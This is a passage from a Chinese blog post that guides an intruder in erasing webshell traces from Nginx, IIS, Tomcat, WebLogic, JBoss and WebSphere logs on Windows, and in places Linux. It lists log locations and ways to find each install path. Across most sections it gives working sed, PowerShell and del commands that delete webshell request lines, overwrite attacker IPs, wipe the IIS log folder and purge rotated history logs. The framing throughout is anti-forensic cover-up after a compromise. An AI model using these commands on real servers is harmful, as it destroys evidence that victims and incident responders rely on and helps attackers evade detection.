3. 反向代理场景下,后端 webshell 对应的代理转发记录(如请求路径匹配反向代理规则)
1. 直接删除日志文件:需同步删除历史轮转日志(Linux 下如 access.log.1access.log.2.gz;Windows 下如 access.log.bak),避免残留痕迹
2. 定向删除敏感记录:Linux 用 sed 命令(如 sed -i '/webshell.php/d' /var/log/nginx/access.log),Windows 用 Notepad++ 等工具筛选并删除含可疑路径的行(操作前建议备份日志)
3. 覆盖敏感字段:若不便删除记录,可替换客户端 IP(如 sed -i 's/192.168.1.100/0.0.0.0/g' /var/log/nginx/access.log)或可疑路径,注意保持日志格式完整性
Error Log(错误日志)1. webshell 执行错误触发的 500 错误记录(如代码语法错误、权限不足导致的文件读写失败)
2. 访问 webshell 衍生文件(如后门依赖的配置文件、临时文件)的 404 错误
3. Nginx 与后端服务(如 Tomcat、PHP-FPM)通信异常记录(如 webshell 触发后端服务崩溃导致的 502/504 错误)
1. 参考 Access Log 处理逻辑,优先定向删除敏感错误行,避免直接删除整个日志文件(可能影响其他故障排查)
2. 若错误日志开启了 debug/info 级别,需重点清理 webshell 操作触发的详细调试信息(如文件打开路径、命令执行痕迹)

额外注意:

  1. 自定义日志处理:若 Nginx 配置了按域名 / 业务拆分的自定义日志(如 access_xxx.com.log),需逐一检查对应日志文件,避免遗漏特定域名下的 webshell 痕迹
  2. 日志轮转工具:Linux 下 Nginx 日志默认通过 logrotate 管理(配置文件通常在 /etc/logrotate.d/nginx),需检查轮转后的压缩日志(如 access.log.1.gz),需先解压再清理;Windows 下若手动配置了 LogRotateWin、WinLogRotate 等工具,需同步清理切割后的历史日志
  3. 反向代理场景:若 Nginx 作为反向代理,需同时检查后端服务(如 Tomcat 的 access log、PHP-FPM 的 error log),避免仅清理 Nginx 日志而残留后端痕迹
清理
细微清理
# 替换为你的 access.log 实际路径 
$logPath = "C:\nginx\logs\access.log" 

# 读取文件内容,过滤掉包含 "shell.php" 的行,再写回文件
(Get-Content $logPath) | Where-Object { $_ -notmatch "shell.php" } | Set-Content $logPath
$logPath = "C:\nginx\log\access.log"

# 注意 IP 中的点需要转义(用 \.),避免被当作正则通配符
(Get-Content $logPath) | Where-Object { $_ -notmatch "123\.123\.123\.123" } | Set-Content $logPath
暴力清理
del C:\nginx\logs\access.log
echo. > C:\nginx\logs\access.log

五、核心总结

维度Linux 系统Windows 系统
核心日志类型Access Log(访问)、Error Log(错误)、自定义日志(可选)同 Linux
默认日志路径(标准安装)Access Log:/var/log/nginx/access.log;Error Log:/var/log/nginx/error.logAccess Log:Nginx安装目录/logs/access.log(如 D:\nginx-1.24.0\logs\access.log);Error Log:Nginx安装目录/logs/error.log
配置文件位置主配置文件:/etc/nginx/nginx.conf;虚拟主机配置:/etc/nginx/conf.d/(或 /etc/nginx/sites-available/主配置文件:Nginx安装目录/conf/nginx.conf(如 D:\nginx-1.24.0\conf\nginx.conf
webshell 痕迹重点1. Access Log 中的可疑访问路径、异常请求
2. Error Log 中的 500/404/502 错误记录
3. 日志轮转后的历史压缩日志(access.log.1.gz 等)
1. 同 Linux 日志痕迹类型
2. 手动切割的备份日志(access.log.bak 等)
3. 需注意路径分隔符为 \(如 D:\nginx-1.24.0\logs\access.log

3)IIS 日志

del /f /s /q "%SystemDrive%\inetpub\logs\LogFiles\*.*"

Pasted image 20250828182325.png

4)tomcat

conf/logging.properties   → 配置日志怎么记。
logs/catalina.xx.log   → Tomcat 整体的启动/停止日志。
logs/host-manager.xx.log   → Host Manager 应用日志。
logs/localhost.xx.log   → 本地虚拟主机运行的 Web 应用日志(异常多在这里)。
logs/manager.xx.log   → Manager 应用的管理操作日志。

1. tomcat 日志信息分为两类:

  • 运行中的日志,它主要记录运行的一些信息,尤其是些异常错误日志信息 。
  • 访问日志信息,它记录的访问的时间、IP 、访问的资料等相关信息。

2. 快速找到 tomcat 安装路径的手法

默认安装路径:
	安装版(exe安装器):
		C:\Program Files\Apache Software Foundation\Tomcat X.Y\
		C:\Program Files (x86)\Apache Software Foundation\Tomcat X.Y\
		(X.Y 表示版本号,例如 Tomcat 9.0)

解压版(zip下载):
	常见放在:C:\tomcat\ 或 D:\tomcat\,具体看当时解压位置。
  • 任务管理器 → 查看进程路径

    • 找到 tomcat.exejava.exe(运行 Tomcat 的那个进程)。

    • 右键 → 打开文件所在位置。

  • 检查环境变量

    echo %CATALINA_HOME%

    如果有配置,会直接显示目录。

  • 全盘搜索
    在资源管理器搜索 catalina.bat,它所在目录的上一级就是 Tomcat 根目录。

3. 记录系统启、关闭日志、管理日志和异常信息:

  • conf/logging.properties → 配置日志怎么记。
  • logs/catalina.xx.log → Tomcat 整体的启动/停止日志。
  • logs/host-manager.xx.log → Host Manager 应用日志。
  • logs/localhost.xx.log → 本地虚拟主机运行的 Web 应用日志(异常多在这里)。
  • logs/manager.xx.log → Manager 应用的管理操作日志。
🔑 重点关注的日志
  1. logs/localhost.xx.log

    • 这是 Web 应用异常日志,Tomcat 在处理请求时如果抛了异常(比如 JSP 报错、Servlet 错误、栈回溯),就会写进这里。

    • WebShell 一旦执行出错(比如命令执行失败、语法错误),就会在这里留下明显痕迹。

    • ✅ 所以这是你要重点清理的文件。

  2. logs/manager.xx.log(如果用过 Manager 部署)

    • 如果你是通过 Manager 应用上传 war 包 / 部署 WebShell 的话,这里会有操作日志。

    • 只要用过 Manager,这个必须改。


⚪ 次要日志(通常不涉及 WebShell)
  • logs/catalina.xx.log

    • 主要记录 Tomcat 启动、关闭,或者一些系统级信息。

    • WebShell 的请求一般不会直接出现在这里,除非伴随严重错误。

  • logs/host-manager.xx.log

    • 只有你操作过 Host Manager(虚拟主机管理),才会有记录。大多数情况下和 WebShell 无关。

  • WebShell相关 → 必清 👉 localhost.xx.log

  • 如果走 Manager 部署过 → 也要清 👉 manager.xx.log

  • Catalina、Host-manager → 正常留着,别动

详细介绍

Tomcat 在运行时会在 logs/ 目录下生成日志文件,常见的有:

  • catalina.xx.log

    • Catalina 是 Tomcat 的核心组件。

    • 这个日志里主要记录 Tomcat 启动、运行、关闭过程中的信息。

    • 举例:启动报错、JVM 参数输出、Tomcat 停止时的信息。

  • host-manager.xx.log

    • 记录 Tomcat Host Manager 应用 的相关日志。

    • Host Manager 是用来管理虚拟主机的 Web 应用(比如动态添加、删除虚拟主机)。

    • 如果你用过 http://localhost:8080/host-manager/html,相关操作日志就会在这里。

  • localhost.xx.log

    • 记录在 本地主机(localhost)虚拟主机 上运行的 Web 应用抛出的异常或错误。

    • 比如:某个应用 JSP 语法错误、Servlet 抛异常,这些会写到这里。

  • manager.xx.log

    • 记录 Tomcat Manager 应用 的日志。

    • Manager 是用来管理 Web 应用的工具(比如上传、卸载、启动、停止应用)。

    • 如果你用过 http://localhost:8080/manager/html,操作日志会出现在这里。

清理
# 1. 清空单个日志(CMD 命令)
echo. > C:\Tomcat\logs\catalina.out
# 2. 删除指定日志(CMD 命令)
del /f /q C:\Tomcat\logs\catalina.2024-08-*.log  # 删除 8 月的 catalina 日志
del /f /q C:\Tomcat\logs\access_log.*.txt  # 删除所有访问日志
# 3. PowerShell 按时间删除(保留近 7 天,删除更早的)
Get-ChildItem "C:\Tomcat\logs" -Include *.log,*.txt -Recurse | Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-7) } | Remove-Item -Force

5)WebLogic

	默认配置情况下,WebLogic会有三种⽇志,分别是access log, Server log和domain log。

WebLogic 9及以后版本:
	access log在 $MW_HOME\user_projects\domains\<domain_name>\servers\<server_name>\logs\access.log
	
	server log在 $MW_HOME\user_projects\domains\<domain_name>\servers\<server_name>\logs\<server_name>.log
	
	domain log在 $MW_HOME\user_projects\domains\<domain_name>\servers\<adminserver_name>\logs\<domain_name>.log


WebLogic 8.x 版本:
access log在 $MW_HOME\user_projects\domains\<domain_name>\<server_name>\access.log

server log在 $MW_HOME\user_projects\domains\<domain_name>\<server_name>\<server_name>.log

domain log在 $MW_HOME\user_projects\domains\<domain_name>\<domain_name>.log

在默认配置下,WebLogic 服务器主要生成三类核心日志文件:Access Log(访问日志)Server Log(服务器日志) 和 Domain Log(域日志)。不同版本的 WebLogic 日志存储路径存在差异,且在 Windows 和 Linux 系统中因路径分隔符和环境变量格式的不同,写法也有所区别。以下按版本分类整理,清晰呈现各日志的路径规则及跨系统差异。

一、基础概念与系统差异说明

1. 核心日志类型
  • Access Log:记录客户端对 WebLogic 服务器的 HTTP 访问请求,包含请求时间、IP 地址、URL 等详细信息
  • Server Log:记录单个服务器实例的运行日志,包含启动 / 停止、错误、警告等服务器级事件
  • Domain Log:记录整个域(Domain)的汇总日志,包含所有服务器实例的关键事件
2. 跨系统路径差异核心

不同操作系统的路径表示方式存在基础差异,WebLogic 日志路径遵循以下规则:

系统类型路径分隔符环境变量格式示例(中间件根目录)
Windows\(反斜杠)%变量名%%MW_HOME%
Linux/(正斜杠)$变量名$MW_HOME

说明:MW_HOME 为 WebLogic 中间件安装根目录的环境变量,所有日志路径均基于此目录展开

二、WebLogic 9 及以后版本(主流版本)

日志路径结构围绕 "域(domain)- 服务器(server)" 层级展开,包含 "servers" 目录和单独的 "logs" 子目录。

各日志类型的系统路径对比
日志类型Windows 系统路径说明
Access Log%MW_HOME%\user_projects\domains\<domain_name>\servers\<server_name>\logs\access.log记录 HTTP 访问请求细节
Server Log%MW_HOME%\user_projects\domains\<domain_name>\servers\<server_name>\logs\<server_name>.log记录单个服务器实例的运行事件
Domain Log%MW_HOME%\user_projects\domains\<domain_name>\servers\<admin_server_name>\logs\<domain_name>.log需通过管理服务器(Admin Server)存储的域级汇总日志
变量说明
  • <domain_name>:WebLogic 域的名称(用户创建域时自定义)
  • <server_name>:具体服务器实例的名称(如受管服务器)
  • <admin_server_name>:管理服务器的名称(域创建时默认或自定义)

三、WebLogic 8.x 版本(旧版本)

日志路径层级相对简化,未单独区分 "servers" 目录,直接以 "域 - 服务器" 为路径结构,且无单独的 "logs" 子目录。

各日志类型的系统路径对比
日志类型Windows 系统路径说明
Access Log%MW_HOME%\user_projects\domains\<domain_name>\<server_name>\access.log功能同 9+ 版本,记录 HTTP 访问请求细节
Server Log%MW_HOME%\user_projects\domains\<domain_name>\<server_name>\<server_name>.log功能同 9+ 版本,记录单个服务器实例的运行事件
Domain Log%MW_HOME%\user_projects\domains\<domain_name>\<domain_name>.log直接存储在域根目录下的域级汇总日志,无需通过管理服务器路径

四、版本与系统差异总结

1. 版本间核心差异
对比维度WebLogic 9 及以后版本WebLogic 8.x 版本
路径层级多 "servers" 目录(域→servers→服务器→logs)无 "servers" 目录(域→服务器)
Domain Log 存储需通过管理服务器的 logs 目录直接存储在域根目录下
Logs 目录位置每个服务器实例目录下单独包含 "logs" 子目录无单独 "logs" 子目录
2. 系统间使用注意事项
  • 在实际操作中,需严格区分路径分隔符(\ 用于 Windows,/ 用于 Linux)
  • 环境变量引用格式需与操作系统匹配(%MW_HOME% 用于 Windows,$MW_HOME 用于 Linux)
  • 路径中的变量(如 <domain_name>)需替换为实际环境中的名称
  • 混用分隔符或环境变量格式会导致路径无效,无法正常访问日志文件

五、快速定位 WebLogic 安装路径(MW_HOME)的方法

WebLogic 的安装路径即 MW_HOME(中间件根目录),可通过以下方法快速定位:

1. 基于环境变量查询

WebLogic 安装后通常会配置 MW_HOME 环境变量,直接查询即可:

  • Windows
    打开 “命令提示符” 或 “PowerShell”,执行:

    echo %MW_HOME%
    

    若返回路径(如 C:\Oracle\Middleware\Oracle_Home),即为安装路径。

2. 通过进程信息查询

若 WebLogic 服务器正在运行,可通过进程详情定位安装路径:

  • Windows
    打开 “任务管理器”→“详细信息”,找到 WebLogic 相关进程(通常包含 weblogic.Server 关键字),右键 “打开文件位置”,即可定位到 Java 执行路径,其上级目录通常包含 MW_HOME
    或通过命令行:

    wmic process where "name like '%java%' and commandline like '%weblogic%'" get commandline
    

    命令输出中会包含 -Dweblogic.home 等参数,其路径通常在 MW_HOME 下(如 %MW_HOME%\wlserver)。

3. 通过域配置文件查询

WebLogic 的域(Domain)配置文件中会记录 MW_HOME 路径:

  • 域的配置文件 config.xml 位置:
    • WebLogic 9+:%MW_HOME%\user_projects\domains\<domain_name>\config\config.xml
    • 打开该文件,搜索 MW_HOME 或 WL_HOME(通常指向 MW_HOME/wlserver),可反推 MW_HOME 路径。
4. 常见默认安装路径
  • Windows:通常在 C:\Oracle\Middleware\ 或 C:\Program Files\Oracle\Middleware\
C:\Oracle\Middleware\
C:\Program Files\Oracle\Middleware\
	<MIDDLEWARE_HOME>\wlserver_10.3\
	<MIDDLEWARE_HOME>\wlserver_12.1\
	<MIDDLEWARE_HOME>\wlserver_12.2\

六、webshell 痕迹清除需重点关注的日志文件及路径

webshell 的核心行为通常包括 HTTP 访问(如连接 webshell 路径)服务器端异常操作(如文件写入、命令执行) 等,对应的关键日志如下:

1. Access Log(访问日志)
  • 作用:记录所有客户端对 WebLogic 服务器的 HTTP/HTTPS 请求,包括请求时间、客户端 IP、访问的 URL 路径、请求方法(GET/POST)、状态码等。
    若 webshell 是通过 HTTP 访问(如 http://xxx/webshell.jsp),会在此日志中留下明确痕迹。
  • 路径(区分版本和系统):
    • WebLogic 9 及以后版本

      • Windows:%MW_HOME%\user_projects\domains\<domain_name>\servers\<server_name>\logs\access.log
    • WebLogic 8.x 版本

      • Windows:%MW_HOME%\user_projects\domains\<domain_name>\<server_name>\access.log
2. Server Log(服务器日志)
  • 作用:记录服务器实例的运行细节,包括启动 / 停止事件、错误(Error)、警告(Warning)、异常(Exception)、部署操作、文件系统修改(如 JSP/Servlet 编译)等。
    若 webshell 执行了异常操作(如调用危险 API、修改系统配置),可能触发服务器级别的错误日志;若 webshell 是通过文件上传写入的,也可能在日志中留下文件创建 / 修改的记录。
  • 路径(区分版本和系统):
    • WebLogic 9 及以后版本

      • Windows:%MW_HOME%\user_projects\domains\<domain_name>\servers\<server_name>\logs\<server_name>.log
    • WebLogic 8.x 版本

      • Windows:%MW_HOME%\user_projects\domains\<domain_name>\<server_name>\<server_name>.log
3. Domain Log(域日志)
  • 作用:汇总整个域(Domain)内所有服务器实例的关键事件,包括管理操作、跨服务器的异常等。
    若 webshell 影响范围涉及整个域(如通过管理服务器部署),可能在此日志中留下痕迹。
  • 路径(区分版本和系统):
    • WebLogic 9 及以后版本

      • Windows:%MW_HOME%\user_projects\domains\<domain_name>\servers\<admin_server_name>\logs\<domain_name>.log
    • WebLogic 8.x 版本

      • Windows:%MW_HOME%\user_projects\domains\<domain_name>\<domain_name>.log
4. 额外注意:操作系统级日志

除 WebLogic 自身日志外,还需关注操作系统日志(如 Linux 的 /var/log/secure 记录 SSH 登录,/var/log/messages 记录系统级操作;Windows 的 “事件查看器” 中的 “系统日志”“安全日志”),避免遗漏 webshell 相关的系统命令执行、文件操作痕迹。

清理
# 1. 清空服务器日志(CMD)
echo. > "C:\Oracle\domains\base_domain\servers\AdminServer\logs\AdminServer.log"
# 2. 删除历史日志文件(CMD)
del /f /q "C:\Oracle\domains\base_domain\servers\AdminServer\logs\AdminServer.log*.gz"
# 3. PowerShell 按时间删除(保留近 10 天)
Get-ChildItem "C:\Oracle\domains\base_domain\servers" -Include *.log,*.log*.gz -Recurse | 
  Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-10) } | 
  Remove-Item -Force

6)Jboss

Jboss 的配置文件和日志文件 jboss-log4j.xml:
	如:
		server/XXX/conf/jboss-log4j.xml 
		server/XXX/log/server.log

一、JBoss 核心日志类型及默认路径

JBoss(WildFly)的日志体系相对复杂,默认包含服务器运行日志访问日志域日志(域模式下),不同运行模式(独立模式 / 域模式)和操作系统的路径存在差异:

日志类型独立模式(Standalone)默认路径域模式(Domain)默认路径核心作用
服务器日志%JBOSS_HOME%\standalone\log\server.log%JBOSS_HOME%\domain\log\host-controller.log(主机控制器)
%JBOSS_HOME%\domain\log\server\<server_name>\server.log(服务器实例)
同 Linux 系统
访问日志%JBOSS_HOME%\standalone\log\access.log(需手动开启)%JBOSS_HOME%\domain\log\access.log(需手动开启)同 Linux 系统,默认不启用
域日志(可选)无(独立模式无域)%JBOSS_HOME%\domain\log\domain-controller.log同 Linux 系统

说明:%JBOSS_HOME% 为 Windows 下的 JBoss 安装目录(如 C:\wildfly-26.0.0.Final)。

二、JBoss 日志配置与路径定位

1. 日志配置文件位置

JBoss 日志通过 XML 配置文件管理,可在配置文件中修改日志路径、级别等:

  • 独立模式:或 %JBOSS_HOME%\standalone\configuration\standalone.xml
  • 域模式%JBOSS_HOME%\domain\configuration\domain.xml

定位日志路径:打开配置文件,搜索 <subsystem xmlns="urn:jboss:domain:logging:x.x"> 节点,其中 <file relative-to="jboss.server.log.dir" path="server.log"/> 定义了日志文件路径(jboss.server.log.dir 为内置变量,指向日志目录)。

2. 快速定位 JBoss 安装目录($JBOSS_HOME)
系统类型定位方法
服务器日志1. 执行 echo $JBOSS_HOME 查看环境变量(若配置);
2. 查看进程:ps -ef | grep jbossps -ef | grep jbossps -ef | grep wildfly,输出中含 -Djboss.home.dir=/opt/wildfly 即为安装目录
访问日志1. 执行 echo %JBOSS_HOME% 查看环境变量;
2. 查看服务属性:若以服务运行,在 “服务” 中找到 JBoss 服务,右键 “属性” 查看 “可执行文件路径”(含安装目录)

三、webshell 痕迹清除需重点关注的 JBoss 日志

JBoss 环境中 webshell 通常以 JSP/Servlet 形式存在,需重点清理以下日志中的痕迹:

日志类型需清除的关键痕迹操作建议
服务器日志1. webshell 上传 / 部署时的文件操作记录(如 Deploying web application directory
2. 执行异常触发的 Java 堆栈日志(如 java.lang.RuntimeException 含 webshell 路径)
3. 权限不足导致的错误(如 Permission denied 涉及 webshell 文件)
1. 直接删除日志文件:需同步删除滚动日志(如 server.log.1server.log.2.gz
2. 定向删除敏感行:Linux 用 sed -i '/webshell.jsp/d' server.log,Windows 用文本工具筛选并删除含可疑路径的记录
3. 注意域模式下需清理所有服务器实例的日志文件
访问日志1. 客户端 IP 访问 webshell 的记录(如 GET /webshell.jsp HTTP/1.1
2. 向 webshell 提交命令的 POST 请求(含异常参数)
1. 若启用访问日志,按服务器日志处理方式清理
2. 若未找到访问日志,需确认是否在配置文件中自定义了路径(如 <access-log pattern="..."/> 节点)

额外注意:

  1. 日志滚动机制:JBoss 默认启用日志滚动(按大小或时间切割),需检查 log 目录下的所有历史日志(如 server.log.*
  2. 审计日志:若启用了 JBoss 审计日志(如 audit.log),需同步清理其中的敏感操作记录
  3. 操作系统日志:Linux 需检查 /var/log/secure(SSH 登录)、/var/log/messages(系统命令);Windows 需检查 “事件查看器” 中的安全日志 |
清理
# 1. 清空服务器日志(CMD)
echo. > "C:\jboss\wildfly\standalone\log\server.log"
# 2. 删除历史日志(CMD)
del /f /q "C:\jboss\wildfly\standalone\log\server.log.*"
del /f /q "C:\jboss\wildfly\standalone\log\access_log.202*.log"
# 3. PowerShell 按时间删除(保留近 7 天)
Get-ChildItem "C:\jboss\wildfly\standalone\log" -Include server.log*,access_log* -Recurse | 
  Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-7) } | 
  Remove-Item -Force

四、核心总结

维度Windows 系统
核心日志类型服务器日志(server.log)、访问日志(access.log,需开启)、域日志(域模式)
默认日志路径独立模式:%JBOSS_HOME%\standalone\log\;域模式:%JBOSS_HOME%\domain\log\
配置文件位置独立模式:standalone\configuration\standalone.xml;域模式:domain\configuration\domain.xml
webshell 痕迹重点服务器日志中的异常堆栈、文件操作记录;访问日志中的可疑请求;滚动日志文件,注意路径分隔符为 \,需清理 .log 及 .log.* 格式的历史文件

7)WebSphere

WebSphere 的默认路径:
	IBM\WebSphere\AppServer\profiles\AppSrv01\logs\server1\SystemOut.log

一、WebSphere 核心日志类型及默认路径

WebSphere 日志默认存储在配置文件存储库服务器实例目录下,核心区分「独立服务器模式」和「集群模式」,跨系统差异主要体现在路径分隔符和环境变量格式。

日志类型独立服务器模式默认路径集群模式默认路径(含节点 / 集群区分)核心作用
服务器日志%WAS_HOME%\profiles\<profile_name>\logs\<server_name>\SystemOut.log(标准输出)
%WAS_HOME%\profiles\<profile_name>\logs\<server_name>\SystemErr.log(标准错误)
%WAS_HOME%\profiles\<profile_name>\logs\<server_name>\SystemOut.log(节点服务器)
%WAS_HOME%\profiles\<dmgr_profile>\logs\dmgr\SystemOut.log(部署管理器)
同 Linux 系统,记录应用与服务运行的关键事件和异常堆栈
访问日志%WAS_HOME%\profiles\<profile_name>\logs\<server_name>\http_access.log%WAS_HOME%\profiles\<profile_name>\logs\<server_name>\http_access.log(节点服务器)同 Linux 系统,记录客户端 HTTP 访问细节
系统日志%WAS_HOME%\profiles\<profile_name>\logs\<server_name>\activity.log%WAS_HOME%\profiles\<profile_name>\logs\<server_name>\activity.log(节点服务器)
%WAS_HOME%\profiles\<dmgr_profile>\logs\dmgr\activity.log(部署管理器)
同 Linux 系统,记录系统级管理操作

关键变量说明:
%WAS_HOME%:Windows 下 WebSphere 安装目录(如 C:\IBM\WebSphere\AppServer);

  • 路径分隔符为 \,其他变量(<profile_name>/<server_name>)含义与 Linux 一致。

二、WebSphere 日志配置与安装路径定位

1. 日志配置文件位置

WebSphere 日志的路径、级别、滚动策略通过管理控制台配置文件修改,核心配置文件如下:

  • 独立服务器 / 集群节点
    %WAS_HOME%\profiles\<profile_name>\config\cells\<cell_name>\nodes\<node_name>\servers\<server_name>\server.xml
  • 部署管理器(集群模式) %WAS_HOME%\profiles<dmgr_profile>\config\cells<cell_name>\dmgr\dmgr.xml`

配置修改方式:通过 WebSphere 管理控制台(默认端口 9060,路径 http://<host>:9060/ibm/console)→「服务器」→「服务器类型」→「WebSphere 应用服务器」→ 选择目标服务器 →「故障诊断」→「日志和跟踪」,可可视化调整日志路径、级别及滚动规则。

2. 快速定位 WebSphere 安装路径($WAS_HOME/% WAS_HOME%)
系统类型定位方法
Windows1. 环境变量查询:打开「命令提示符」,执行 echo %WAS_HOME%
2. 服务属性查询:在「服务」中找到 WebSphere 相关服务(如 IBM WebSphere Application Server V9.0 - server1),右键「属性」→「可执行文件路径」,路径中 bin\java.exe 的上级目录即为 %WAS_HOME%(如 C:\IBM\WebSphere\AppServer\bin\java.exe → C:\IBM\WebSphere\AppServer);
3. 默认路径参考:C:\IBM\WebSphere\AppServerD:\Program Files\IBM\WebSphere\AppServer

三、webshell 痕迹清除需重点关注的 WebSphere 日志

WebSphere 环境中 webshell 多为 JSP/Servlet 形式,可能通过应用部署、文件上传植入,需重点清理以下日志中的敏感痕迹:

日志类型需清除的关键痕迹操作建议
SystemOut.log / SystemErr.log1. webshell 执行错误触发的 Java 异常堆栈(如 java.lang.RuntimeException: 命令执行失败,含 webshell 路径);
2. webshell 上传 / 写入时的文件操作记录(如 File created: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/<cell_name>/<app_name>.ear/<app_name>.war/webshell.jsp);
3. 应用重新部署时的 webshell 关联记录(如 Deploying application: <app_name>.ear 且包含 webshell 所在应用)
1. 直接删除日志文件:需同步删除滚动日志(如 SystemOut.log.1SystemOut.log.2.gz,WebSphere 默认按大小 / 时间切割日志);
2. 定向删除敏感行:Linux 用 sed -i '/webshell.jsp/d' SystemOut.log(需谨慎,避免破坏日志格式),Windows 用 Notepad++ 筛选含可疑路径 / 异常关键字的行并删除;
3. 集群模式注意:需清理所有节点服务器及部署管理器的 SystemOut.log/SystemErr.log,避免遗漏集群内痕迹
http_access.log1. 客户端 IP 访问 webshell 的记录(如 192.168.1.100 - - [20/Oct/2024:14:30:00 +0800] "GET /<app_context>/webshell.jsp HTTP/1.1" 200 1234);
2. 向 webshell 提交命令的异常 POST 请求(如 POST /<app_context>/webshell.jsp?cmd=whoami HTTP/1.1
1. 清理方式同服务器日志,需覆盖所有滚动日志(如 http_access.log.1);
2. 若访问日志按虚拟主机拆分(自定义配置),需检查 logs 目录下所有含 access 关键字的日志文件(如 http_access_vhost1.log
activity.log1. 若 webshell 通过管理控制台部署(如上传恶意 WAR 包),会留下「应用部署」操作记录(如 User admin deployed application <malicious_app>.war);
2. 涉及 webshell 所在应用的配置修改记录(如「修改应用上下文路径」「启用文件读写权限」)
1. 优先定向删除含恶意应用名称、webshell 关联操作的记录;
2. 若记录无法拆分,可删除整个 activity.log 及滚动文件(注意:会丢失系统管理操作记录,需权衡)

额外注意:
1. 应用安装目录日志:WebSphere 应用默认安装在 $WAS_HOME/profiles/<profile_name>/installedApps/<cell_name>/(Linux),若 webshell 植入后触发应用日志(如应用自身的 log4j 日志),需同步清理该目录下的应用日志;
2. 操作系统日志:Linux 需检查 /var/log/secure(SSH 登录植入 webshell)、/var/log/messages(系统命令执行);Windows 需检查「事件查看器」→「Windows 日志」→「安全」(登录事件)和「系统」(服务启动 / 停止);
3. 部署管理器日志(集群模式):若 webshell 通过集群同步扩散,需清理部署管理器的 SystemOut.log 和 activity.log,避免残留集群同步记录。

清理
# 1. 清空系统日志(CMD)
echo. > "C:\IBM\WebSphere\AppServer\profiles\AppSrv01\logs\server1\SystemOut.log"
echo. > "C:\IBM\WebSphere\AppServer\profiles\AppSrv01\logs\server1\SystemErr.log"
# 2. 删除历史日志(CMD)
del /f /q "C:\IBM\WebSphere\AppServer\profiles\AppSrv01\logs\server1\SystemOut_*.log"
del /f /q "C:\IBM\WebSphere\AppServer\profiles\AppSrv01\logs\server1\SystemErr_*.log"
# 3. PowerShell 按时间删除(保留近 5 天)
Get-ChildItem "C:\IBM\WebSphere\AppServer\profiles\AppSrv01\logs" -Include SystemOut_*.log,SystemErr_*.log,http_access*.log -Recurse | 
  Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-5) } | 
  Remove-Item -Force

四、核心总结

维度Windows 系统
核心日志类型服务器日志(SystemOut.log/SystemErr.log)、访问日志(http_access.log)、系统日志(activity.log)
默认日志路径独立模式:%WAS_HOME%\profiles\<profile_name>\logs\<server_name>\
集群模式:节点服务器同独立模式,部署管理器:%WAS_HOME%\profiles\<dmgr_profile>\logs\dmgr\
配置文件位置服务器配置:%WAS_HOME%\profiles\<profile_name>\config\cells\<cell_name>\nodes\<node_name>\servers\<server_name>\server.xml
webshell 痕迹重点1. SystemOut.log/SystemErr.log 中的异常堆栈、文件操作记录;
2. http_access.log 中的可疑访问请求;
3. 滚动日志(.log.1/.log.2.gz)及集群部署管理器日志;
4. 路径分隔符为 \,需注意清理 .log 及 .log.* 格式的历史文件;
5. 应用安装目录下的自定义日志(如 log4j 日志)
文章作者: QiaoShen
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 QiaoShen-World
Windows 痕迹清除
喜欢就支持一下吧